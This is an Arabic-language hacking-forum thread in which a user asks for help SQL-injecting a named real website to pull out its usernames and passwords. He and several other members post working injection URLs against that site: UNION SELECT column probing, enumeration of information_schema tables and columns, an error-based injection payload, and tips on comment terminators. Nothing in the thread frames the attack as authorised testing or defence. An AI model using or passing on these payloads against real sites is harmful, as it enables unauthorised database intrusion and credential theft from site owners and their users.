مشكل في حقن موقع .. ممكن مساعدة

XAyoub · 07-04-2011, 11:00 PM

السلام عليكم اخوانــي ،المرججو أنكم تساعدوني في مشكلي هو بسيط جدا
1. اخترت هذا الموقع : http://www.dracoders.com/games.php?id=7
2. فحصته اتضح أنه مصاب
3. اتضح أن فيه 5 أعمدة
4. عملت هذا http://www.dracoders.com/games.php?id=-7 UNION SELECT 1,2,3,4,5
و اتضح أن الاعمدة المصابة : 3,4,5
5. وجدت ان اصدار القاعدة 5
6. ثم عملت هذا الرابط :
http://www.dracoders.com/games.php?id=-7%20UNION%20SELECT%201,2,group_concat%28table_name %29,4,5+from+information_schema.tables+where+table _schema=database%28%29
خرجلي كل هذا و لم أعرف أي واحد فيهم
شكيت في FKP
7. ثم عملت هذا الرابط
http://www.dracoders.com/games.php?id=-7%20UNION%20SELECT%201,2,group_concat%28column_nam e%29,4,5+from+information_schema.columns+where+tab le_schema=database%28%29
فلم أعرف الـ Username + Password
في الكلمات الاتية ،

يعني عندمــــا انتقل للخطوة الاخير لكي يخرج لي الباس ، يعطيني خطأ
ممكن مساعدة
:yes::yes:

المصدر: :: vBspiders Professional Network ::

Vspan style="font-weight: bold; color: #ff0000;"Cydv l[hf:VLspanC la;g td prk l,ru >> ll;k lshu]m

bleu moon · 07-04-2011, 11:03 PM

ترتيب الخطوات في حقن قواعد البيانات SQL Injection

كل مرة بدك تحقن استعن بهذا الموضوع

XAyoub · 07-04-2011, 11:07 PM

أوكي جاري اخ نور الديــــــن ،

abdellatef · 07-04-2011, 11:09 PM

ساعيد الحقن وارجع لك الاستغلال الاخير موضوعك بسيط كبرته اكتب فقط صعب علي حقن هدا فقط

k4$p3r-MA · 07-04-2011, 11:15 PM

على فكرة الشرطتين في الاخير احدفهما
و ابدا على بركة الله
http://www.dracoders.com/games.php?i...LECT+1,2,3,4,5
و استنتح ان هده الشرطتين ليستا دائما ملزمتين
و يمكن استبدالهما ب /* لكون بعض المواقع لا تنفع معها ال --
:love:

aircrack -ng · 07-04-2011, 11:19 PM

هذا النوع كيري مش سكيول

كود:

http://www.dracoders.com/games.php?id=7 and(select 1 from(select count(*),concat((select (select 
concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from 
information_schema.tables group by x)a) and 1=1

قربت دورتي تفتح وراح تفهم كل شيء بالحقن
يومين بس

bleu moon · 07-04-2011, 11:20 PM

اقتباس

المشاركة الأصلية كتبت بواسطة عبد الصمد

هذا النوع كيري مش سكيول

كود:

http://www.dracoders.com/games.php?id=7 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

قربت دورتي تفتح وراح تفهم كل شيء بالحقن
يومين بس

انا اول ماحد رح يتفرج فيها :yipi:

aircrack -ng · 07-04-2011, 11:23 PM

اقتباس

المشاركة الأصلية كتبت بواسطة nor15din


	انا اول ماحد رح يتفرج فيها :yipi:

انا قلتلك انا مرشح وزير من هلا :rofl:

ChucK NoRRis · 07-04-2011, 11:25 PM

اقتباس

المشاركة الأصلية كتبت بواسطة عبد الصمد


	قربت دورتي تفتح وراح تفهم كل شيء بالحقن يومين بس

محجـــــــــــــوز

k4$p3r-MA · 07-04-2011, 11:27 PM

اقتباس

المشاركة الأصلية كتبت بواسطة عبد الصمد

هذا النوع كيري مش سكيول

كود:

http://www.dracoders.com/games.php?id=7 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

قربت دورتي تفتح وراح تفهم كل شيء بالحقن
يومين بس

مستنينك خيو :love:

aircrack -ng · 07-04-2011, 11:28 PM

اقتباس

المشاركة الأصلية كتبت بواسطة ChucK NoRRis


	محجـــــــــــــوز :yipi:

الدورة راح تكون مفتوحة للجميع
دعواتكم بس

sh-jaf · 07-04-2011, 11:34 PM

أخي ممكن أشترك فيها مع العلم إني جديد و مشاركاتي بعدها قليلة الله يرضى عنك أخي غبد الصمد
بتمنى تقولولي ممكن
و بالنسبة للموقع كأنو ما في عامود pass جربت هذه طلع ال column
http://www.dracoders.com/games.php?i...schema.columns

XAyoub · 07-04-2011, 11:46 PM

أوكي أخي ،

aircrack -ng · 07-04-2011, 11:47 PM

اقتباس

المشاركة الأصلية كتبت بواسطة sh-jaf


	أخي ممكن أشترك فيها مع العلم إني جديد و مشاركاتي بعدها قليلة الله يرضى عنك أخي غبد الصمد بتمنى تقولولي ممكن و بالنسبة للموقع كأنو ما في عامود pass جربت هذه طلع ال column http://www.dracoders.com/games.php?id=-7+UNION+SELECT+1,2,concat(table_name,0x3e,column_n ame,0x3e,table_schema),4,5+from+information_schema .columns